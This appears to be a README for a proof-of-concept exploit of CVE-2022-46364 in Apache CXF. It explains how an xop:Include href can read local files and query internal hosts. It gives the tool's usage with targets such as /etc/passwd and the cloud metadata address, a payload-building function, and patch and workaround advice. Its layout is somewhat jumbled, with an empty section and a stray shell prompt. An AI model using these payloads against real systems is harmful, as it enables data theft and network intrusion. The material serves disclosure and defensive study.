CVE-2022-46364: Apache CXF MTOM XOP:Include SSRF to LFI Exploit

⚠️ DISCLAIMER

THIS TOOL IS FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY

This proof-of-concept exploit is provided for educational purposes to help security professionals understand the vulnerability and protect their systems. Unauthorized access to computer systems is illegal. The author assumes no responsibility for any misuse or damage caused by this tool. You must obtain explicit written permission from the system owner before testing. By using this tool, you agree to comply with all applicable laws.

📋 TABLE OF CONTENTS

1. Overview
2. Vulnerability Details
3. Technical Deep Dive
4. Exploit Usage
5. Installation & Requirements 6 Mitigation
6. References & Credits

📌 OVERVIEW

This exploit leverages a critical SSRF vulnerability in Apache CXF's MTOM (Message Transmission Optimization Mechanism) implementation to achieve Local File Inclusion (LFI) and internal network scanning capabilities.

🔬 VULNERABILITY DETAILS

The Core Issue

Apache CXF incorrectly validates the href attribute within xop:Include elements when processing MTOM-encoded SOAP messages. The library uses Java's URLConnection to dereference the URI without proper protocol restrictions, allowing attackers to specify:

• file:// - Read local files (LFI)
• http:// / https:// - Internal network requests (SSRF)
• ftp:// - FTP requests (potential for further exploitation)

Why This Matters

This vulnerability is particularly dangerous because:

1. No authentication required - Attackers can target any accessible SOAP endpoint
2. No special privileges needed - The server executes requests with its own privileges
3. Information disclosure - Can expose cloud metadata (AWS, GCP, Azure), configuration files, and source code
4. Network pivoting - The vulnerable server becomes a proxy for internal network reconnaissance

Affected Configurations

Any Apache CXF deployment that:

• Accepts MTOM-encoded SOAP messages
• Has at least one web service method with a parameter (any type)
• Uses versions prior to 3.5.5 (main branch) or 3.4.10 (legacy branch)

🧠 TECHNICAL DEEP DIVE

Protocol Background: MTOM and XOP

MTOM (Message Transmission Optimization Mechanism) is a W3C standard for optimizing binary data transmission in SOAP messages. It uses XOP (XML-binary Optimized Packaging) to include binary data references:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

Normally, href contains a CID (Content-ID) reference to a MIME part. However, Apache CXF's AttachmentUtil class processes href values as generic URIs without proper sanitization.

The Vulnerable Code Path

1. Request Parsing:

   • CXF receives a multipart/related HTTP request with Content-Type: application/xop+xml
   • AttachmentUtil.getAttachmentObject() processes xop:Include elements

2. URI Dereferencing:

   • The vulnerable method calls new URL(href).openStream() directly
   • No file:// protocol blocking occurs
   • No network restriction (e.g., no validation against internal IP ranges)

3. Response Embedding:

   • The fetched content is Base64-encoded and embedded in the SOAP response
   • The attacker receives the data in the SOAP envelope

Code Snippet (Vulnerable Pattern)

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

Why LFI Works

The file:// protocol follows the same code path:

• file:///etc/passwd → Java opens /etc/passwd as a file stream
• File contents are returned as the attachment
• No filesystem restrictions beyond the CXF process user's permissions

Network Scanning Capability

By iterating through IPs and ports, attackers can:

• Discover internal services
• Access cloud metadata endpoints (169.254.169.254)
• Bypass network segmentation controls

🛠️ EXPLOIT USAGE

Command Syntax

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Arguments Explained

📦 INSTALLATION & REQUIREMENTS

Prerequisites

# Python 3.6 or higher required
python --version

Installation Steps

# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### requirements

requests>=2.28.0 urllib3>=1.26.0

---



### Core Implementation Details

#### 1. MTOM Payload Construction
```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ MITIGATION

Official Fix

Upgrade to a patched version:

<!-- For Maven projects -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>

Workarounds (If Patching Is Not Possible)

1. Disable MTOM entirely (if not required):

   root@kitploit:~

   <jaxws:endpoint ...>
       <jaxws:properties>
           <entry key="mtom-enabled" value="false"/>
       </jaxws:properties>
   </jaxws:endpoint>
   

2. Network-level controls:

   • Restrict outbound connections from the CXF application server
   • Use firewalls to prevent access to internal IP ranges from the application tier
   • Implement egress filtering

3. Web Application Firewall (WAF) rules:

   • Block requests containing xop:Include with href pointing to file:// or internal IP addresses

📚 REFERENCES & CREDITS

Original Researchers

This vulnerability was discovered and responsibly disclosed by:

• Jonathan Leitschuh - Security Researcher
• Nick Tait - Security Researcher

Official Advisories

• Apache CXF Security Advisory
• GitHub Advisory Database: GHSA-x3x3-qwjq-8gj4
• NVD: CVE-2022-46364

Related Resources

• MTOM Specification (W3C)
• XOP Specification (W3C)
• Apache CXF Documentation

Acknowledgments

• Apache CXF Team for their rapid response and patch
• GitHub Security Lab for publishing the advisory
• Security community for responsible disclosure practices

📄 LICENSE

This tool is provided for educational purposes only. Unauthorized use is prohibited.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

Last Updated: March 2026
Version: 1.0
Contact: For security concerns or questions, please open an issue on GitHub.

This document is part of responsible security research. Always obtain proper authorization before testing.